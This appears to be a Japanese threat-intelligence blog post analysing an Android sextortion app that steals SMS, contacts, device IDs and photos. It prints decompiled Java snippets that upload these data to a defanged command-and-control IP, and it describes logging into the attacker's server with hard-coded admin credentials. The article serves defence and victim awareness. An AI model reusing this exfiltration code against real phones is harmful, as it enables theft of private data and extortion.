今日表示しない

トップへ戻る

トップへ戻る

脅威インテリジェンス

脅威インテリジェンス

脅威インテリジェンス

[] #

[] #

[] #

ENKI WhiteHat

ENKI WhiteHat

コンテンツ

コンテンツ

コンテンツ

1. 概要

COVID-19による「アンタクト(非対面)」時代の到来は、多くの変化をもたらしました。生活の多くの姿が変わり、飲食店のQRコードチェックインをはじめ、スマートフォンさえあれば非対面でできることの範囲も広がりました。そのため、自然とスマートフォンの使用量が増加し、これを狙うサイバー犯罪(スミッシング、ボイスフィッシング、セクストーション(身代金要求型性被害)など)も共に増加しています。

スマートフォンを対象とする様々なサイバー犯罪のうち、最近、国内(韓国)のユーザーを対象としたセクストーションが増加しています。セクストーションが増加した原因としては、▲COVID-19による「ジプコッ族(家に引きこもる人)」の増加、▲SNSの発達、▲対面活動の制限によるマッチングアプリやチャットアプリの使用頻度の増加などが挙げられます。攻撃者による悪意のあるアプリの配布は現在も活発に行われており、これによる被害者は今後も増加すると予想されます。

そこで、5月号の「それが知りたい」では、最近配布されているセクストーションの悪意のあるアプリの挙動分析を通じて、発生し得る脅威、さらにはこれにより今後追加で発生し得る脅威について探っていきます。

2. ボディーカメラフィッシングとは?

攻撃者はセクストーション(ビデオ通話や写真を利用して卑猥な行為をさせること)を装い、被害者から卑猥な動画を入手した後、悪質なアプリを配布して情報を奪取します。その後、被害者の動画を口実に金銭を要求するサイバー犯罪をセクストーション(モムキャムフィッシング)と呼びます。

他人の写真を利用して被害者に接近し、ビデオ通話やメッセージ、SNSなどを利用して親交を深め、被害者に疑いを持たせないようにした上で、卑猥な行為をする動画を獲得(交換)し、悪質なアプリを配布します。主にセクストーションに使用されるアプリや、卑猥な動画などに偽装して悪質なアプリを転送し、自然な流れでダウンロードを勧めます。悪質なアプリをダウンロードした被害者のスマートフォンから連絡先をはじめとする様々な情報を奪取した後、攻撃者は送られてきた動画を流布すると脅迫し、巨額の金銭を要求します。犯罪の手口の特性上、被害者が高い確率で金銭を支払わざるを得ない形態となっています。

実際の事例

  1. 美女を自称する匿名の攻撃者は、SNSやランダムチャットなどを通じてターゲットを探索します。

  2. ターゲットを見つけた攻撃者は、継続して卑猥なチャットを行い、卑猥な行為をする動画を交換しようと提案します。

  3. 継続的なやり取りで信頼を寄せた被害者は、疑うことなく動画を渡してしまいます。

  4. 攻撃者は「秘密のチャットルームを利用するためのアプリ」と偽り、任意のAPKファイルをチャットルームに送信してダウンロードを誘導します。

  5. このときダウンロードされる任意のアプリは悪質なアプリです。この悪質なアプリがインストールされると、攻撃者は被害者のスマートフォンに保存されている連絡先や個人情報などを奪取します。

  6. その後、攻撃者は動画の流布を脅迫し、動画の削除をほのめかしながら巨額の金銭要求を行いました。被害者はこれに何度も応じるしかありませんでした。

3. 悪性アプリの分析

上記のような事例で実際に使用されているセクストーション(身体カメラフィッシング)悪性アプリを収集し、分析を進行しました。本稿では、セクストーションで使用される様々な種類の悪性アプリの中から、SMSStealerと呼ばれる悪性アプリが使用されました。

3.1. 分析ファイル情報

  • 내 영상.avr.rar(MD5 : E37304CB18BE94741D1A351D54DAC2D7)

  • 혼자만봐.apk(MD5 : 3BD9CAAC7AE8EB77CB1910EAD489724A)

分析された悪性アプリは、「내영상av.rar(私の動画av.rar)」というrar圧縮ファイルの形式で配布されたと見られます。該当ファイルの圧縮を解凍すると、「혼자만봐.apk(一人だけで見て.apk)」ファイルを確認できます。このサンプル情報は、実際の状況で使用された悪性アプリです。

3.2. 悪意ある行為の分析

実行画面

[그림 2] 악성 앱 실행 시 전환되는 화면 中 일부

[図 2] 悪性アプリ実行時に切り替わる画面の一部

悪性アプリの実行時、以下のような画面と、正常な使用のためにすべての権限の許可を要求する通知ウィンドウが表示されます。ここで、すべての権限を許可してしまうと、被害者の携帯電話からデータを盗み出す行為が可能になります。攻撃者はデータを奪取するために、合法的な手続きであるかのように装って権限の許可を誘導しており、分析された悪性アプリでは正常な使用を名目に権限を許可させるよう誘導したと推定されます。

悪性アプリの要求権限

該当の悪性アプリが要求する権限は以下の通りです。

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> 
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> 
<uses-permission android:name="android.permission.INTERNET" /> 
<uses-permission android:name="android.permission.READ_PHONE_STATE" /> 
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> 
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> 
<uses-permission android:name="android.permission.WAKE_LOCK" /> 
<uses-permission android:name="android.permission.READ_CONTACTS" /> 
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> 
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> 
<uses-permission android:name="android.permission.INTERNET" /> 
<uses-permission android:name="android.permission.READ_PHONE_STATE" /> 
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> 
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> 
<uses-permission android:name="android.permission.WAKE_LOCK" /> 
<uses-permission android:name="android.permission.READ_CONTACTS" /> 
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> 
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> 
<uses-permission android:name="android.permission.INTERNET" /> 
<uses-permission android:name="android.permission.READ_PHONE_STATE" /> 
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> 
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> 
<uses-permission android:name="android.permission.WAKE_LOCK" /> 
<uses-permission android:name="android.permission.READ_CONTACTS" /> 
<uses-permission android:name="android.permission.READ_SMS" />


悪性アプリの要求権限 — 詳細説明

[表 1] 悪性アプリで使用される権限

セクストーション悪性アプリの代表的な4つの悪意ある行為
  • SMS(テキストメッセージ)の奪取

  • 連絡先の奪取

  • 携帯電話の端末情報の奪取

  • 写真および動画の奪取

SMS(テキストメッセージ)の奪取

被害者のスマートフォンに保存されているSMS(テキストメッセージ)を奪取する行為に関するコードは以下の通りです。奪取後、攻撃者のサーバーへ送信します。

ArrayList v0 = new ArrayList();
        try {
            Cursor v1 = this.b.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");
            int v2 = 0;
            if(v1.moveToFirst()) {
                int v3 = v1.getColumnIndex("person");
                int v4 = v1.getColumnIndex("address");
                int v5 = v1.getColumnIndex("body");
                int v6 = v1.getColumnIndex("date");
                int v7 = v1.getColumnIndex("type");
                do {
                label_30:
                    v1.getString(v3);
                    String v8 = v1.getString(v4);
                    String v9 = v1.getString(v5);
                    SimpleDateFormat v10 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
                    Date v11 = new Date(Long.parseLong(v1.getString(v6)));
                    v10.format(v11);
                    String v10_1 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(v11);

....
protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/uploadSms.htm";
    }
ArrayList v0 = new ArrayList();
        try {
            Cursor v1 = this.b.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");
            int v2 = 0;
            if(v1.moveToFirst()) {
                int v3 = v1.getColumnIndex("person");
                int v4 = v1.getColumnIndex("address");
                int v5 = v1.getColumnIndex("body");
                int v6 = v1.getColumnIndex("date");
                int v7 = v1.getColumnIndex("type");
                do {
                label_30:
                    v1.getString(v3);
                    String v8 = v1.getString(v4);
                    String v9 = v1.getString(v5);
                    SimpleDateFormat v10 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
                    Date v11 = new Date(Long.parseLong(v1.getString(v6)));
                    v10.format(v11);
                    String v10_1 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(v11);

....
protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/uploadSms.htm";
    }
ArrayList v0 = new ArrayList();
        try {
            Cursor v1 = this.b.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");
            int v2 = 0;
            if(v1.moveToFirst()) {
                int v3 = v1.getColumnIndex("person");
                int v4 = v1.getColumnIndex("address");
                int v5 = v1.getColumnIndex("body");
                int v6 = v1.getColumnIndex("date");
                int v7 = v1.getColumnIndex("type");
                do {
                label_30:
                    v1.getString(v3);
                    String v8 = v1.getString(v4);
                    String v9 = v1.getString(v5);
                    SimpleDateFormat v10 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
                    Date v11 = new Date(Long.parseLong(v1.getString(v6)));
                    v10.format(v11);
                    String v10_1 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(v11);

....
protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/uploadSms.htm";
    }


連絡先の奪取

被害者のスマートフォンに保存されている連絡先データを攻撃者のサーバーへ送信する行為のコードは以下の通りです。このような機能を利用して、攻撃者は被害者の連絡先に登録されているすべての人々に対して、淫乱な映像を流布すると脅迫することができます。

public boolean a() {
        try {
            ArrayList v1_1 = b.a(this.b);
            if(v1_1 != null && !v1_1.isEmpty()) {
                HashMap v2 = new HashMap();
                v2.put("phone", this.a);
                String v1_2 = new Gson().toJson(v1_1);
                Log.d("##########", v1_2);
                v2.put("contacts", v1_2);
                Object v1_3 = this.c.a(this.b(), ((Map)v2), Result.class);
                if(v1_3 != null) {
                    ((Result)v1_3).isSuccess();
                }
            }
        }
        catch(Exception v1) {
            v1.printStackTrace();
            return 1;
        }

return 1;
    }
    protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/uploadContact.htm";
    }
public boolean a() {
        try {
            ArrayList v1_1 = b.a(this.b);
            if(v1_1 != null && !v1_1.isEmpty()) {
                HashMap v2 = new HashMap();
                v2.put("phone", this.a);
                String v1_2 = new Gson().toJson(v1_1);
                Log.d("##########", v1_2);
                v2.put("contacts", v1_2);
                Object v1_3 = this.c.a(this.b(), ((Map)v2), Result.class);
                if(v1_3 != null) {
                    ((Result)v1_3).isSuccess();
                }
            }
        }
        catch(Exception v1) {
            v1.printStackTrace();
            return 1;
        }

return 1;
    }
    protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/uploadContact.htm";
    }
public boolean a() {
        try {
            ArrayList v1_1 = b.a(this.b);
            if(v1_1 != null && !v1_1.isEmpty()) {
                HashMap v2 = new HashMap();
                v2.put("phone", this.a);
                String v1_2 = new Gson().toJson(v1_1);
                Log.d("##########", v1_2);
                v2.put("contacts", v1_2);
                Object v1_3 = this.c.a(this.b(), ((Map)v2), Result.class);
                if(v1_3 != null) {
                    ((Result)v1_3).isSuccess();
                }
            }
        }
        catch(Exception v1) {
            v1.printStackTrace();
            return 1;
        }

return 1;
    }
    protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/uploadContact.htm";
    }


スマートフォン端末情報の奪取

スマートフォンの固有番号(IMEI)をはじめとするデバイス機器の種類に関するデータも収集する部分を確認できます。

protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/sychonizeUser.htm";
    }

public boolean c() {
        Object v0_2;
        HashMap v0 = new HashMap();
        String v1 = e.b(this.a);
        try {
            v0.put("phone", this.d);
            v0.put("imei", v1 + "#" + e.a());
            v0.put("model", e.a());
            v0_2 = this.c.a(this.b(), ((Map)v0), Result.class);
        }
protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/sychonizeUser.htm";
    }

public boolean c() {
        Object v0_2;
        HashMap v0 = new HashMap();
        String v1 = e.b(this.a);
        try {
            v0.put("phone", this.d);
            v0.put("imei", v1 + "#" + e.a());
            v0.put("model", e.a());
            v0_2 = this.c.a(this.b(), ((Map)v0), Result.class);
        }
protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/sychonizeUser.htm";
    }

public boolean c() {
        Object v0_2;
        HashMap v0 = new HashMap();
        String v1 = e.b(this.a);
        try {
            v0.put("phone", this.d);
            v0.put("imei", v1 + "#" + e.a());
            v0.put("model", e.a());
            v0_2 = this.c.a(this.b(), ((Map)v0), Result.class);
        }


写真および動画의 奪取

スマートフォン内部のアルバムにアクセスし、動画および写真データを収集することができます。

...(중략)
HashMap v9 = new HashMap();
                            v9.put("upload", v5);
                            HashMap v8 = new HashMap();
                            v8.put("phone", this.a);
                            v8.put("time", String.valueOf(((Album)v3).getAddTime()));
                            Object v4 = this.c.a(this.b(), ((Map)v8), ((Map)v9), Result.class, null);
                            if(v4 == null) {
                                continue;
                            }

if(!((Result)v4).isSuccess()) {
                                continue;
                            }
                            com.open.studyvideo.a.c.a(this.b, ((Album)v3).getId());
                        }
                    }
                }
            }
            c.d = System.currentTimeMillis();
            return 1;
        }
        catch(Exception v1) {
            v1.printStackTrace();
            return 1;
        }
    }
    protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/uploadAlbum.htm";
    }
...(중략)
HashMap v9 = new HashMap();
                            v9.put("upload", v5);
                            HashMap v8 = new HashMap();
                            v8.put("phone", this.a);
                            v8.put("time", String.valueOf(((Album)v3).getAddTime()));
                            Object v4 = this.c.a(this.b(), ((Map)v8), ((Map)v9), Result.class, null);
                            if(v4 == null) {
                                continue;
                            }

if(!((Result)v4).isSuccess()) {
                                continue;
                            }
                            com.open.studyvideo.a.c.a(this.b, ((Album)v3).getId());
                        }
                    }
                }
            }
            c.d = System.currentTimeMillis();
            return 1;
        }
        catch(Exception v1) {
            v1.printStackTrace();
            return 1;
        }
    }
    protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/uploadAlbum.htm";
    }
...(중략)
HashMap v9 = new HashMap();
                            v9.put("upload", v5);
                            HashMap v8 = new HashMap();
                            v8.put("phone", this.a);
                            v8.put("time", String.valueOf(((Album)v3).getAddTime()));
                            Object v4 = this.c.a(this.b(), ((Map)v8), ((Map)v9), Result.class, null);
                            if(v4 == null) {
                                continue;
                            }

if(!((Result)v4).isSuccess()) {
                                continue;
                            }
                            com.open.studyvideo.a.c.a(this.b, ((Album)v3).getId());
                        }
                    }
                }
            }
            c.d = System.currentTimeMillis();
            return 1;
        }
        catch(Exception v1) {
            v1.printStackTrace();
            return 1;
        }
    }
    protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/uploadAlbum.htm";
    }

3.3 特記事項

特記事項 1 : ワクチン検知の回避

  • 収集されたサンプルのうち一部のサンプルは、dexprotectorのようなコード保護プログラム(プロテクター)によって保護されていました。これは、ワクチンプログラムによる検知を回避したり、分析コストを上げたりするためであると推定されます。

特記事項 2 : データ収集サーバーURLの確認

  • 収集されたサンプルを確認している最中、情報収集サーバーのURL/IPだけが異なる多数のケースも確認できました。これらのサンプルはすべて同一の共通パスを持っていました。

[表 2] 共通のパスを持つ悪性アプリ情報収集URL/IP

public static String a(Context arg5) {
        Object v1_1;
        String v0_1;
        String v1;
        String v5 = "hxxp://158[.]247[.]220[.]251:8080/m/login.htm";
        StringBuffer v0 = new StringBuffer();
        try {
            URLConnection v5_2 = new URL(v5).openConnection();
            ((HttpURLConnection)v5_2).setRequestMethod("POST");
            ((HttpURLConnection)v5_2).setConnectTimeout(3000);
            ((HttpURLConnection)v5_2).setDoOutput(true);
            ((HttpURLConnection)v5_2).getOutputStream().write("username=***&password=****".getBytes());
            ((HttpURLConnection)v5_2).setInstanceFollowRedirects(false);
            ((HttpURLConnection)v5_2).connect();
            BufferedReader v2 = new BufferedReader(new InputStreamReader(((HttpURLConnection)v5_2).getInputStream(), "UTF-8"));
(…중략…)
public static String a(Context arg5) {
        Object v1_1;
        String v0_1;
        String v1;
        String v5 = "hxxp://158[.]247[.]220[.]251:8080/m/login.htm";
        StringBuffer v0 = new StringBuffer();
        try {
            URLConnection v5_2 = new URL(v5).openConnection();
            ((HttpURLConnection)v5_2).setRequestMethod("POST");
            ((HttpURLConnection)v5_2).setConnectTimeout(3000);
            ((HttpURLConnection)v5_2).setDoOutput(true);
            ((HttpURLConnection)v5_2).getOutputStream().write("username=***&password=****".getBytes());
            ((HttpURLConnection)v5_2).setInstanceFollowRedirects(false);
            ((HttpURLConnection)v5_2).connect();
            BufferedReader v2 = new BufferedReader(new InputStreamReader(((HttpURLConnection)v5_2).getInputStream(), "UTF-8"));
(…중략…)
public static String a(Context arg5) {
        Object v1_1;
        String v0_1;
        String v1;
        String v5 = "hxxp://158[.]247[.]220[.]251:8080/m/login.htm";
        StringBuffer v0 = new StringBuffer();
        try {
            URLConnection v5_2 = new URL(v5).openConnection();
            ((HttpURLConnection)v5_2).setRequestMethod("POST");
            ((HttpURLConnection)v5_2).setConnectTimeout(3000);
            ((HttpURLConnection)v5_2).setDoOutput(true);
            ((HttpURLConnection)v5_2).getOutputStream().write("username=***&password=****".getBytes());
            ((HttpURLConnection)v5_2).setInstanceFollowRedirects(false);
            ((HttpURLConnection)v5_2).connect();
            BufferedReader v2 = new BufferedReader(new InputStreamReader(((HttpURLConnection)v5_2).getInputStream(), "UTF-8"));
(…중략…)

4. 悪用シナリオ

セクストーション(身体カメラフィッシング)で使用された不正アプリと類似したサンプルから発見されたIPにおいて、ハードコーディングされている部分を分析した結果、被害者のデータが送信される攻撃者サーバーのURL情報および管理者アカウント情報を収集しました。アカウント情報を不正アプリ内から容易に取得できるため、第三者によるアクセスが可能でした。したがって、以下のような悪用シナリオも可能であると考えられます。


[図 3] 悪用シナリオ


4.1 攻撃者サーバーへの接続

[図 4] 確保したアカウント情報で攻撃者サーバーに管理者ログイン


[図 5] ログイン後の攻撃者サーバーにある被害者情報リスト

[図 6] 攻撃者サーバーに保存された被害者のメッセージ履歴

[図 7] 攻撃者サーバーに保存された被害者の連絡先リスト


攻撃者が収集した被害者の個人情報を確認した結果、▲ 被害者の連絡先、▲ スマートフォンの機種、▲ 被害に遭った日付、▲ テキストメッセージの内容、▲ 被害者のスマートフォンに保存されている名前および連絡先などが発見されました。悪意のある目的を持って行動すれば、誰でも多くの被害者を発生させることができる危険な情報であり、加害者のログイン情報を採取できる人なら誰にでも公開されているという点が、非常に危険であると感じられます。

5. 被害状況

本報告書で分析したサンプルだけでなく、類似の形態を持つ不正アプリから収集された情報を利用してデータを分析した結果、2021年2月から5月初め(約3ヶ月間)までに確認された被害者は計465人であり、毎月被害者が増加していました。また、被害者の連絡先を通じて収集された第三者の個人情報の件数は約97,000件でした。攻撃者のサーバーからは、被害者が送受信したメッセージ履歴まで確認可能であるため、セクストーション(胸元脅迫)だけでなく、連絡先情報やメッセージ情報を利用したフィッシング、なりすまし犯罪など、多様な二次犯罪の脅威が存在していました。最近3ヶ月間の増加率によると、被害者数は今後も増え続けると予想されます。


[図 8] 被害状況の推移

本稿で分析した不正アプリと類似の方式で被害者の情報を収集する不正アプリによる追加被害を予防するため、本文に添付されたC&C情報およびマルウェアの分析内容を、京畿城南中院警察署にすべて情報提供いたしました。

[図 9] 情報提供の現況

6. IOC

収集されたサンプルと類似した構造を持つサンプルのハッシュ(MD5)およびIP/URLについてまとめました。

MD5

[表 3] 類似した構造を持つ不正アプリサンプルのMD5

IP/URL

[表 4] 類似した構造を持つ不正アプリから収集されたURL/IP

7. おわりに

ボディーカメラフィッシング(セクストーション)悪性アプリの分析を通じて、該当アプリによって奪取される様々な情報と、追加で発生し得る脅威に関するシナリオ、および実際の被害状況について調べてみました。悪性アプリの実行時、被害者のメッセージ、連絡先、携帯電話の機器情報、写真や動画などの重要な個人情報が攻撃者のサーバーにそのまま保存されますが、攻撃者のサーバーアカウント情報は悪性アプリの内部に無防備に露出しており、追加被害の懸念が存在しました。

本記事の執筆のために資料を調査し、目にしたボディーカメラフィッシング被害者たちの事例や実際の被害状況を見て、これほど恐ろしく、悲惨で、残酷な犯罪があるのだろうかという思いがしました。ボディーカメラフィッシングは、日常生活から少し外れると、いつでも誰でも対象になり得る犯罪であり、被害が発生した場合はお金を支払うのではなく、迅速に通報しなければなりません。コロナ禍により、対面で誰かと会うことよりも、非対面で出会いを持つことに慣れている昨今、さらに多くの人々が被害者になり得るため、スマートフォンユーザーの関心と注意が求められます。

一瞬の好奇心で台無しにならないでください。あなたは大切な人です。


参考資料

[1] https://www.cyber.go.kr/prevention/prevention10.jsp?mid=020310
[2] https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?seq=29359

ENKI WhiteHat

ENKI WhiteHat

ENKI WhiteHat
ENKI WhiteHat

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

隙のないセキュリティ設計の始まり、NO.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

購読する

コンテンツが役に立ったら?
エンキーレターを購読しましょう!

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.